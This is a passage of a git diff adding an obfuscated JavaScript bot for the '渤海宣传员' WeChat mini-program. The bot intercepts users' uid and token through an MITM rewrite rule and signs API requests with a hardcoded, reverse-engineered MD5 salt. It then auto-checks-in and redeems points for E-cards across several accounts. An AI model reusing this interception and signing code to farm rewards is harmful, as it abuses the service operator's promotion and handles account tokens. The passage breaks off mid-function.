getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/bhxcy.js b/bhxcy.js
new file mode 100644
index 00000000..44efda81
--- /dev/null
+++ b/bhxcy.js
@@ -0,0 +1,944 @@
+/*
+渤海宣传员-微信小程序 v2.01
+
+签到积分换E卡,每天跑一到两次
+捉小程序里的uid和token填到bhxcytoken里,多账号换行或者@隔开,格式如下
+export bhxcytoken="uid=1234567&token=qweqwertyuio"
+
+重写: 打开渤海宣传员-微信小程序
+[task_local]
+#渤海宣传员
+44 7,18 * * * https://raw.githubusercontent.com/leafTheFish/DeathNote/main/bhxcy.js, tag=渤海宣传员, enabled=true
+[rewrite_local]
+https://gms.ihaoqu.com/gmswx/app.php url script-request-body https://raw.githubusercontent.com/leafTheFish/DeathNote/main/bhxcy.js
+[MITM]
+hostname = gms.ihaoqu.com
+
+cron: 44 7,18 * * *
+
+const $ = new Env("渤海宣传员");
+*/
+//Sat Jan 25 2025 08:37:55 GMT+0000 (Coordinated Universal Time)
+//Base:https://github.com/echo094/decode-js
+//Modify:https://github.com/smallfawn/decode_action
+const _0x1d0ae3 = new _0x57bfb2("渤海宣传员");
+const _0x394c79 = ["\n", "@"];
+const _0x217681 = ["bhxcytoken"];
+let _0x156dc7 = _0x217681.map(_0x26bc59 => (_0x1d0ae3.isNode() ? process.env[_0x26bc59] : _0x1d0ae3.getdata(_0x26bc59)) || "");
+let _0x118ed0 = [];
+let _0x5a32e1 = 0;
+let _0x33bf72 = 0;
+const _0x967734 = "application/x-www-form-urlencoded";
+const _0x1ad500 = "Mozilla/5.0 (Linux; Android 9; MI 8 Build/PQ3A.190801.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4309 MMWEBSDK/20220402 Mobile Safari/537.36 MMWEBID/4681 MicroMessenger/8.0.22.2140(0x280016F8) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android";
+const _0x3ca0e5 = "https://servicewechat.com/wx4ab510946f1d9a5f/16/page-frame.html";
+const _0x448b0b = 28;
+const _0x554762 = 10;
+const _0x16a5db = 1;
+const _0x5765f9 = "api2";
+const _0x151841 = "2022hqhd10bhyh20";
+let _0x396a62 = new Date().getDay();
+_0x396a62 = _0x396a62 == 0 ? 7 : _0x396a62;
+const _0x1ca024 = 8;
+const _0x519bb3 = 300;
+const _0x4e0686 = 1000;
+const _0x5e3f67 = 2.01;
+const _0x4b2aa5 = "bhxcy";
+const _0x232801 = "https://leafxcy.coding.net/api/user/leafxcy/project/validcode/shared-depot/validCode/git/blob/master/code.json";
+class _0x4ea0f5 {
+ constructor(_0x2f6888) {
+ this.index = ++_0x5a32e1;
+ this.name = this.index;
+ this.valid = false;
+ Object.assign(this, _0x1d0ae3.str2json(_0x2f6888));
+ }
+ async taskApi(_0x46df8a = {}) {
+ let _0x1e3dc5 = {};
+ try {
+ let _0x363e86 = _0x46df8a.url.replace("//", "/").split("/")[1];
+ let _0x246b6f = _0x46df8a.url;
+ if (_0x46df8a.queryParam) {
+ _0x246b6f += "?" + _0x1d0ae3.json2str(_0x46df8a.queryParam, "&", true);
+ }
+ const _0x3ce031 = {
+ Host: _0x363e86,
+ Connection: "keep-alive",
+ "User-Agent": _0x1ad500,
+ Referer: _0x3ca0e5
+ };
+ let _0x4d50c7 = {
+ url: _0x246b6f,
+ headers: _0x3ce031,
+ timeout: 5000
+ };
+ if (_0x46df8a.body) {
+ _0x4d50c7.headers["Content-Type"] = _0x46df8a["Content-Type"] || _0x967734;
+ if (typeof _0x46df8a.body === "object") {
+ if (_0x4d50c7.headers["Content-Type"].includes("json")) {
+ _0x4d50c7.body = JSON.stringify(_0x46df8a.body);
+ } else {
+ for (let _0x234702 in _0x46df8a.body) {
+ typeof _0x46df8a.body[_0x234702] === "object" && (_0x46df8a.body[_0x234702] = JSON.stringify(_0x46df8a.body[_0x234702]));
+ }
+ _0x4d50c7.body = _0x1d0ae3.json2str(_0x46df8a.body, "&");
+ }
+ } else {
+ _0x4d50c7.body = _0x46df8a.body;
+ }
+ _0x1d0ae3.isNode() ? _0x4d50c7.headers["Content-Length"] = _0x4d50c7.body ? Buffer.byteLength(_0x4d50c7.body, "utf8") : 0 : _0x4d50c7.headers["Content-Length"] = _0x4d50c7.body ? _0x4d50c7.body.length : 0;
+ }
+ if (_0x46df8a.urlObjectParam) {
+ Object.assign(_0x4d50c7, _0x46df8a.urlObjectParam);
+ }
+ if (_0x46df8a.headerParam) {
+ Object.assign(_0x4d50c7.headers, _0x46df8a.headerParam);
+ }
+ if (_0x46df8a.debugIn) {
+ console.log(_0x4d50c7);
+ }
+ _0x1e3dc5 = Object.assign({}, await _0x3bb42a(_0x46df8a.method, _0x4d50c7));
+ _0x1e3dc5.statusCode = _0x1e3dc5?.["err"]?.["response"]?.["statusCode"] || _0x1e3dc5?.["resp"]?.["statusCode"];
+ _0x1e3dc5.statusCode != 200 && console.log("[" + _0x46df8a.fn + "]返回[" + _0x1e3dc5.statusCode + "]");
+ if (_0x1e3dc5?.["resp"]?.["body"]) {
+ if (_0x46df8a.debugOut) {
+ console.log(_0x1e3dc5?.["resp"]?.["body"]);
+ }
+ if (typeof _0x1e3dc5.resp.body === "object") {
+ _0x1e3dc5.result = _0x1e3dc5.resp.body;
+ } else {
+ try {
+ _0x1e3dc5.result = JSON.parse(_0x1e3dc5.resp.body);
+ } catch (_0x4423c0) {
+ _0x1e3dc5.result = _0x1e3dc5.resp.body;
+ }
+ }
+ }
+ } catch (_0x27584a) {
+ console.log(_0x27584a);
+ } finally {
+ return Promise.resolve(_0x1e3dc5);
+ }
+ }
+ getQueryParam(_0x477445) {
+ let _0x18f22b = {
+ rid: _0x448b0b,
+ ogid: _0x554762,
+ noauth: _0x16a5db,
+ r: _0x5765f9,
+ apiAction: _0x477445
+ };
+ return _0x18f22b;
+ }
+ async getUserInfo() {
+ let _0x149f12 = {};
+ try {
+ let _0x427ae5 = "getUserInfo";
+ let _0x2e614f = {
+ uid: this.uid,
+ token: this.token,
+ signure: _0x162740("" + _0x427ae5 + this.uid + _0x151841 + this.token)
+ };
+ let _0x40579d = {
+ fn: _0x427ae5,
+ method: "post",
+ url: "https://gms.ihaoqu.com/gmswx/app.php",
+ queryParam: this.getQueryParam(_0x427ae5),
+ body: _0x2e614f
+ };
+ _0x149f12 = Object.assign({}, await this.taskApi(_0x40579d));
+ let _0x17442d = _0x149f12.result;
+ if (_0x17442d?.["result"] == 1) {
+ this.phone = _0x17442d.MobilePhone.toString();
+ this.name = this.phone.slice(0, 3) + "****" + this.phone.slice(7, 11);
+ this.invCode = _0x17442d.invCode;
+ this.point = _0x17442d.PhoneBill;
+ this.hasSign = _0x17442d.signIn[_0x396a62] == 2 ? true : false;
+ console.log("手机:" + this.phone);
+ console.log("邀请:" + this.invCode);
+ console.log("余额:" + this.point + "元");
+ console.log("今天" + (this.hasSign ? "已" : "未") + "签到");
+ !this.hasSign && (await this.SignIn());
+ await this.getNotifyInfo();
+ parseFloat(this.point) >= 10 && (await this.Recharge());
+ } else {
+ _0x1d0ae3.logAndNotify("账号[" + this.index + "]登录失败: " + _0x17442d?.["msg"]);
+ }
+ } catch (_0x454ba2) {
+ console.log(_0x454ba2);
+ } finally {
+ return Promise.resolve(_0x149f12);
+ }
+ }
+ async getNotifyInfo() {
+ let _0x372951 = {};
+ try {
+ let _0x2a4013 = "getUserInfo";
+ let _0x387163 = {
+ uid: this.uid,
+ token: this.token,
+ signure: _0x162740("" + _0x2a4013 + this.uid + _0x151841 + this.token)
+ };
+ let _0xfe9ff0 = {
+ fn: _0x2a4013,
+ method: "post",
+ url: "https://gms.ihaoqu.com/gmswx/app.php",
+ queryParam: this.getQueryParam(_0x2a4013),
+ body: _0x387163
+ };
+ _0x372951 = Object.assign({}, await this.taskApi(_0xfe9ff0));
+ let _0x5ab653 = _0x372951.result;
+ _0x5ab653?.["result"] == 1 ? (this.point = _0x5ab653.PhoneBill, _0x1d0ae3.logAndNotify("账号[" + this.index + "][" + this.name + "]余额: " + this.point + "元")) : _0x1d0ae3.logAndNotify("账号[" + this.index + "][" + this.name + "]查询余额失败: " + _0x5ab653?.["msg"]);
+ } catch (_0x37aecc) {
+ console.log(_0x37aecc);
+ } finally {
+ return Promise.resolve(_0x372951);
+ }
+ }
+ async SignIn() {
+ let _0x3350dd = {};
+ try {
+ let _0x14edc6 = "SignIn";
+ let _0xabf2e = {
+ uid: this.uid,
+ token: this.token,
+ signure: _0x162740("" + this.token + _0x151841 + this.uid + _0x14edc6)
+ };
+ let _0x12a32a = {
+ fn: _0x14edc6,
+ method: "post",
+ url: "https://gms.ihaoqu.com/gmswx/app.php",
+ queryParam: this.getQueryParam(_0x14edc6),
+ body: _0xabf2e
+ };
+ _0x3350dd = Object.assign({}, await this.taskApi(_0x12a32a));
+ let _0x132263 = _0x3350dd.result;
+ _0x132263?.["result"] == 1 ? console.log("签到成功: " + _0x132263.msg) : console.log("签到失败: " + _0x132263?.["msg"]);
+ } catch (_0x22e7fa) {
+ console.log(_0x22e7fa);
+ } finally {
+ return Promise.resolve(_0x3350dd);
+ }
+ }
+ async Recharge() {
+ let _0x540095 = {};
+ try {
+ let _0x262dd2 = "Recharge";
+ let _0x7271b1 = 1;
+ let _0x35670c = 2;
+ let _0x1fcbe8 = {
+ uid: this.uid,
+ token: this.token,
+ Type: _0x7271b1,
+ Category: _0x35670c,
+ signure: _0x162740("" + _0x262dd2 + this.uid + _0x151841 + _0x35670c + this.token + _0x7271b1)
+ };
+ let _0x27895c = {
+ fn: _0x262dd2,
+ method: "post",
+ url: "https://gms.ihaoqu.com/gmswx/app.php",
+ queryParam: this.getQueryParam(_0x262dd2),
+ body: _0x1fcbe8
+ };
+ _0x540095 = Object.assign({}, await this.taskApi(_0x27895c));
+ let _0x3c4bab = _0x540095.result;
+ _0x3c4bab?.["result"] == 1 ? _0x1d0ae3.logAndNotify("[" + this.name + "]兑换E卡成功: " + _0x3c4bab.msg) : _0x1d0ae3.logAndNotify("[" + this.name + "]兑换E卡失败: " + _0x3c4bab?.["msg"]);
+ } catch (_0x3c981d) {
+ console.log(_0x3c981d);
+ } finally {
+ return Promise.resolve(_0x540095);
+ }
+ }
+ async userTask() {
+ let _0x3f73b4 = {};
+ try {
+ console.log("\n============= 账号[" + this.index + "] =============");
+ await this.getUserInfo();
+ } catch (_0x32c771) {
+ console.log(_0x32c771);
+ } finally {
+ return Promise.resolve(_0x3f73b4);
+ }
+ }
+}
+!(async () => {
+ if (typeof $request !== "undefined") {
+ await _0xca504e();
+ return;
+ }
+ if (!(await _0x524745())) {
+ return;
+ }
+ if (!_0x2e8fd7()) {
+ return;
+ }
+ for (let _0x20285a of _0x118ed0) {
+ await _0x20285a.userTask();
+ }
+})().catch(_0x52e8c7 => console.log(_0x52e8c7)).finally(() => _0x1d0ae3.done());
+async function _0xca504e() {
+ if ($request.url.includes("getUserInfo")) {
+ try {
+ let _0x4fbc6a = $request.body;
+ let _0x3a4c28 = _0x1d0ae3.str2json(_0x4fbc6a);
+ let _0x528211 = _0x3a4c28.uid;
+ let _0x5cc84a = _0x3a4c28.token;
+ if (!_0x528211 || !_0x5cc84a) {
+ return;
+ }
+ if (_0x528211 == "undefined" || _0x5cc84a == "undefined") {
+ return;
+ }
+ let _0x4bf3e4 = "uid=" + _0x528211;
+ let _0x4150d4 = "uid=" + _0x528211 + "&token=" + _0x5cc84a;
+ let _0x55a9ef = false;
+ for (let _0x3f4443 of _0x217681) {
+ let _0x7a80f1 = (_0x1d0ae3.isNode() ? process.env[_0x3f4443] : _0x1d0ae3.getdata(_0x3f4443)) || "";
+ let _0x2f12e2 = _0x394c79[0];
+ for (let _0x19bee5 of _0x394c79) {
+ if (_0x7a80f1?.["includes"](_0x19bee5)) {
+ _0x2f12e2 = _0x19bee5;
+ break;
+ }
+ }
+ if (_0x7a80f1?.["includes"](_0x4bf3e4)) {
+ let _0x918533 = _0x7a80f1.split(_0x2f12e2);
+ for (let _0x171e08 in _0x918533) {
+ console.log(_0x171e08);
+ if (_0x918533[_0x171e08]?.["includes"](_0x4bf3e4)) {
+ _0x918533[_0x171e08] = _0x4150d4;
+ _0x1d0ae3.msg("更新第" + (Number(_0x171e08) + 1) + "个账户CK成功,保存到变量[" + _0x3f4443 + "]: " + _0x4150d4);
+ _0x55a9ef = true;
+ break;
+ }
+ }
+ _0x7a80f1 = _0x918533.join(_0x2f12e2);
+ _0x1d0ae3.setdata(_0x7a80f1, _0x3f4443);
+ }
+ }
+ if (!_0x55a9ef) {
+ let _0x25bd00 = _0x217681[0];
+ let _0x57aae7 = (_0x1d0ae3.isNode() ? process.env[_0x25bd00] : _0x1d0ae3.getdata(_0x25bd00)) || "";
+ let _0x1036bb = _0x394c79[0];
+ for (let _0x453ccb of _0x394c79) {
+ if (_0x57aae7?.["includes"](_0x453ccb)) {
+ _0x1036bb = _0x453ccb;
+ break;
+ }
+ }
+ let _0x32104d = _0x57aae7 ? _0x57aae7.split(_0x1036bb) : [];
+ _0x32104d.push(_0x4150d4);
+ _0x57aae7 = _0x32104d.join(_0x1036bb);
+ _0x1d0ae3.setdata(_0x57aae7, _0x25bd00);
+ _0x1d0ae3.msg("获取第" + _0x32104d.length + "个账户CK成功,保存到变量[" + _0x25bd00 + "]: " + _0x4150d4);
+ }
+ } catch (_0x3a170a) {
+ console.log(_0x3a170a);
+ }
+ }
+}
+function _0x2e8fd7() {
+ for (let _0x33f3e4 of _0x156dc7) {
+ if (!_0x33f3e4) {
+ continue;
+ }
+ let _0x179c0d = _0x394c79[0];
+ for (let _0x42e146 of _0x394c79) {
+ if (_0x33f3e4.includes(_0x42e146)) {
+ _0x179c0d = _0x42e146;
+ break;
+ }
+ }
+ for (let _0x25a204 of _0x33f3e4.split(_0x179c0d).filter(_0x45f451 => !!_0x45f451)) {
+ _0x118ed0.push(new _0x4ea0f5(_0x25a204));
+ }
+ }
+ _0x33bf72 = _0x118ed0.length;
+ if (!_0x33bf72) {
+ console.log("未找到CK,请检查变量" + _0x217681.join("或"));
+ return false;
+ }
+ console.log("共找到" + _0x33bf72 + "个账号");
+ return true;
+}
+async function _0x524745(_0x216eeb = 0) {
+ let _0x4c3164 = false;
+ try {
+ let _0x2decca = {
+ url: _0x232801,
+ timeout: 5000
+ };
+ let _0x2eda60 = null;
+ let _0x2ddd29 = await _0x3bb42a("get", _0x2decca);
+ if (_0x2ddd29.err) {
+ console.log("服务器错误[" + _0x2ddd29?.["resp"]?.["statusCode"] + "],重试...");
+ } else {
+ try {
+ typeof _0x2ddd29.resp.body === "object" ? _0x2eda60 = _0x2ddd29.resp.body : _0x2eda60 = JSON.parse(_0x2ddd29.resp.body);
+ _0x2eda60 = JSON.parse(_0x2eda60.data.file.data);
+ } catch (_0x3383a0) {
+ console.log(_0x3383a0);
+ }
+ }
+ if (!_0x2eda60) {
+ if (_0x216eeb < _0x1ca024) {
+ let _0x2c68bd = Math.floor(Math.random() * _0x4e0686) + _0x519bb3;
+ _0x4c3164 = await _0x524745(++_0x216eeb);
+ }
+ } else {
+ _0x2eda60?.["commonNotify"] && _0x2eda60.commonNotify.length > 0 && _0x1d0ae3.logAndNotify(_0x2eda60.commonNotify.join("\n") + "\n", false);
+ _0x2eda60?.["commonMsg"] && _0x2eda60.commonMsg.length > 0 && console.log(_0x2eda60.commonMsg.join("\n") + "\n");
+ if (_0x2eda60[_0x4b2aa5]) {
+ let _0x574c4a = _0x2eda60[_0x4b2aa5];
+ _0x574c4a.status == 0 ? _0x5e3f67 >= _0x574c4a.version ? (_0x4c3164 = true, console.log(_0x574c4a.msg[_0x574c4a.status]), console.log(_0x574c4a.updateMsg), console.log("现在运行的脚本版本是:" + _0x5e3f67 + ",最新脚本版本:" + _0x574c4a.latestVersion)) : console.log(_0x574c4a.versionMsg) : console.log(_0x574c4a.msg[_0x574c4a.status]);
+ } else {
+ console.log(_0x2eda60.errorMsg);
+ }
+ }
+ } catch (_0x2a7776) {
+ console.log(_0x2a7776);
+ } finally {
+ return Promise.resolve(_0x4c3164);
+ }
+}
+async function _0x3bb42a(_0x36c533, _0x484bcf) {
+ return new Promise(_0x3e345a => {
+ _0x1d0ae3.send(_0x36c533, _0x484bcf, async (_0x28de57, _0x3e8ff9, _0x2dea1a) => {
+ const _0x193395 = {
+ err: _0x28de57,
+ req: _0x3e8ff9,
+ resp: _0x2dea1a
+ };
+ _0x3e345a(_0x193395);
+ });
+ });
+}
+function _0x162740(_0x31e32f) {
+ function _0x548fb1(_0x479090, _0x56a61d) {
+ return _0x479090 << _0x56a61d | _0x479090 >>> 32 - _0x56a61d;
+ }
+ function _0xa370d4(_0x226321, _0x5a843c) {
+ var _0x5b45ca;
+ var _0x3b7687;
+ var _0x58c586;
+ var _0x945396;
+ var _0x4be5f0;
+ _0x58c586 = 2147483648 & _0x226321;
+ _0x945396 = 2147483648 & _0x5a843c;
+ _0x5b45ca = 1073741824 & _0x226321;
+ _0x3b7687 = 1073741824 & _0x5a843c;
+ _0x4be5f0 = (1073741823 & _0x226321) + (1073741823 & _0x5a843c);
+ return _0x5b45ca & _0x3b7687 ? 2147483648 ^ _0x4be5f0 ^ _0x58c586 ^ _0x945396 : _0x5b45ca | _0x3b7687 ? 1073741824 & _0x4be5f0 ? 3221225472 ^ _0x4be5f0 ^ _0x58c586 ^ _0x945396 : 1073741824 ^ _0x4be5f0 ^ _0x58c586 ^ _0x945396 : _0x4be5f0 ^ _0x58c586 ^ _0x945396;
+ }
+ function _0x2ac621(_0x2c4876, _0x490edd, _0x73b0f4) {
+ return _0x2c4876 & _0x490edd | ~_0x2c4876 & _0x73b0f4;
+ }
+ function _0x4412a8(_0x108bff, _0x17a961, _0x204f65) {
+ return _0x108bff & _0x204f65 | _0x17a961 & ~_0x204f65;
+ }
+ function _0x1cd285(_0x1fef85, _0x5b8522, _0x5c55b7) {
+ return _0x1fef85 ^ _0x5b8522 ^ _0x5c55b7;
+ }
+ function _0x2fcfe8(_0x3711ed, _0x51bc42, _0x20b535) {
+ return _0x51bc42 ^ (_0x3711ed | ~_0x20b535);
+ }
+ function _0x3de9dd(_0x52317f, _0x428053, _0x525480, _0x5e8889, _0x316160, _0x283b45, _0x25c849) {
+ _0x52317f = _0xa370d4(_0x52317f, _0xa370d4(_0xa370d4(_0x2ac621(_0x428053, _0x525480, _0x5e8889), _0x316160), _0x25c849));
+ return _0xa370d4(_0x548fb1(_0x52317f, _0x283b45), _0x428053);
+ }
+ function _0x45e2bf(_0x411d95, _0x89ace5, _0x13c956, _0x4972bc, _0x39ca9f, _0x18c9da, _0x127e9f) {
+ _0x411d95 = _0xa370d4(_0x411d95, _0xa370d4(_0xa370d4(_0x4412a8(_0x89ace5, _0x13c956, _0x4972bc), _0x39ca9f), _0x127e9f));
+ return _0xa370d4(_0x548fb1(_0x411d95, _0x18c9da), _0x89ace5);
+ }
+ function _0x3be045(_0x3a08eb, _0x22307b, _0xda5b36, _0x3bde50, _0x1fda83, _0xe3ce1b, _0x3a0c09) {
+ _0x3a08eb = _0xa370d4(_0x3a08eb, _0xa370d4(_0xa370d4(_0x1cd285(_0x22307b, _0xda5b36, _0x3bde50), _0x1fda83), _0x3a0c09));
+ return _0xa370d4(_0x548fb1(_0x3a08eb, _0xe3ce1b), _0x22307b);
+ }
+ function _0x50e33f(_0x2f6ac8, _0x5a4f2e, _0x543444, _0x539489, _0x43c816, _0x31dc30, _0x4151f7) {
+ _0x2f6ac8 = _0xa370d4(_0x2f6ac8, _0xa370d4(_0xa370d4(_0x2fcfe8(_0x5a4f2e, _0x543444, _0x539489), _0x43c816), _0x4151f7));
+ return _0xa370d4(_0x548fb1(_0x2f6ac8, _0x31dc30), _0x5a4f2e);
+ }
+ function _0x163b8f(_0xd16048) {
+ for (var _0x3d506f, _0x14b279 = _0xd16048.length, _0x7fa52d = _0x14b279 + 8, _0x32825e = (_0x7fa52d - _0x7fa52d % 64) / 64, _0x5c3fd4 = 16 * (_0x32825e + 1), _0x1c1261 = new Array(_0x5c3fd4 - 1), _0x28bea6 = 0, _0x2e5a2c = 0; _0x14b279 > _0x2e5a2c;) {
+ _0x3d506f = (_0x2e5a2c - _0x2e5a2c % 4) / 4;
+ _0x28bea6 = _0x2e5a2c % 4 * 8;
+ _0x1c1261[_0x3d506f] = _0x1c1261[_0x3d506f] | _0xd16048.charCodeAt(_0x2e5a2c) << _0x28bea6;
+ _0x2e5a2c++;
+ }
+ _0x3d506f = (_0x2e5a2c - _0x2e5a2c % 4) / 4;
+ _0x28bea6 = _0x2e5a2c % 4 * 8;
+ _0x1c1261[_0x3d506f] = _0x1c1261[_0x3d506f] | 128 << _0x28bea6;
+ _0x1c1261[_0x5c3fd4 - 2] = _0x14b279 << 3;
+ _0x1c1261[_0x5c3fd4 - 1] = _0x14b279 >>> 29;
+ return _0x1c1261;
+ }
+ function _0x11a6b9(_0x1d7046) {
+ var _0x55950d;
+ var _0x3d87ca;
+ var _0xd266da = "";
+ var _0x38db02 = "";
+ for (_0x3d87ca = 0; 3 >= _0x3d87ca; _0x3d87ca++) {
+ _0x55950d = _0x1d7046 >>> 8 * _0x3d87ca & 255;
+ _0x38db02 = "0" + _0x55950d.toString(16);
+ _0xd266da += _0x38db02.substr(_0x38db02.length - 2, 2);
+ }
+ return _0xd266da;
+ }
+ function _0x46ebfd(_0x386079) {
+ _0x386079 = _0x386079.replace(/\r\n/g, "\n");
+ for (var _0x478c58 = "", _0x1adc14 = 0; _0x1adc14 < _0x386079.length; _0x1adc14++) {
+ var _0xa1720a = _0x386079.charCodeAt(_0x1adc14);
+ 128 > _0xa1720a ? _0x478c58 += String.fromCharCode(_0xa1720a) : _0xa1720a > 127 && 2048 > _0xa1720a ? (_0x478c58 += String.fromCharCode(_0xa1720a >> 6 | 192), _0x478c58 += String.fromCharCode(63 & _0xa1720a | 128)) : (_0x478c58 += String.fromCharCode(_0xa1720a >> 12 | 224), _0x478c58 += String.fromCharCode(_0xa1720a >> 6 & 63 | 128), _0x478c58 += String.fromCharCode(63 & _0xa1720a | 128));
+ }
+ return _0x478c58;
+ }
+ var _0x2696b2;
+ var _0x193214;
+ var _0x446282;
+ var _0xf3f57a;
+ var _0x4161ad;
+ var _0x46d665;
+ var _0x269996;
+ var _0x10a932;
+ var _0x32668a;
+ var _0x5b99ed = [];
+ var _0xf3d0fb = 7;
+ var _0x46fe31 = 12;
+ var _0x12cd3d = 17;
+ var _0x4d6ec0 = 22;
+ var _0x54c5b1 = 5;
+ var _0x3f960d = 9;
+ var _0x24cbf9 = 14;
+ var _0x57e243 = 20;
+ var _0x30fbc2 = 4;
+ var _0x2613fb = 11;
+ var _0x1a37d4 = 16;
+ var _0x144bcd = 23;
+ var _0x46473c = 6;
+ var _0xbbcc8 = 10;
+ var _0x4570a7 = 15;
+ var _0x5756b9 = 21;
+ for (_0x31e32f = _0x46ebfd(_0x31e32f), _0x5b99ed = _0x163b8f(_0x31e32f), _0x46d665 = 1732584193, _0x269996 = 4023233417, _0x10a932 = 2562383102, _0x32668a = 271733878, _0x2696b2 = 0; _0x2696b2 < _0x5b99ed.length; _0x2696b2 += 16) {
+ _0x193214 = _0x46d665;
+ _0x446282 = _0x269996;
+ _0xf3f57a = _0x10a932;
+ _0x4161ad = _0x32668a;
+ _0x46d665 = _0x3de9dd(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 0], _0xf3d0fb, 3614090360);
+ _0x32668a = _0x3de9dd(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 1], _0x46fe31, 3905402710);
+ _0x10a932 = _0x3de9dd(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 2], _0x12cd3d, 606105819);
+ _0x269996 = _0x3de9dd(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 3], _0x4d6ec0, 3250441966);
+ _0x46d665 = _0x3de9dd(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 4], _0xf3d0fb, 4118548399);
+ _0x32668a = _0x3de9dd(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 5], _0x46fe31, 1200080426);
+ _0x10a932 = _0x3de9dd(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 6], _0x12cd3d, 2821735955);
+ _0x269996 = _0x3de9dd(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 7], _0x4d6ec0, 4249261313);
+ _0x46d665 = _0x3de9dd(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 8], _0xf3d0fb, 1770035416);
+ _0x32668a = _0x3de9dd(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 9], _0x46fe31, 2336552879);
+ _0x10a932 = _0x3de9dd(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 10], _0x12cd3d, 4294925233);
+ _0x269996 = _0x3de9dd(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 11], _0x4d6ec0, 2304563134);
+ _0x46d665 = _0x3de9dd(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 12], _0xf3d0fb, 1804603682);
+ _0x32668a = _0x3de9dd(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 13], _0x46fe31, 4254626195);
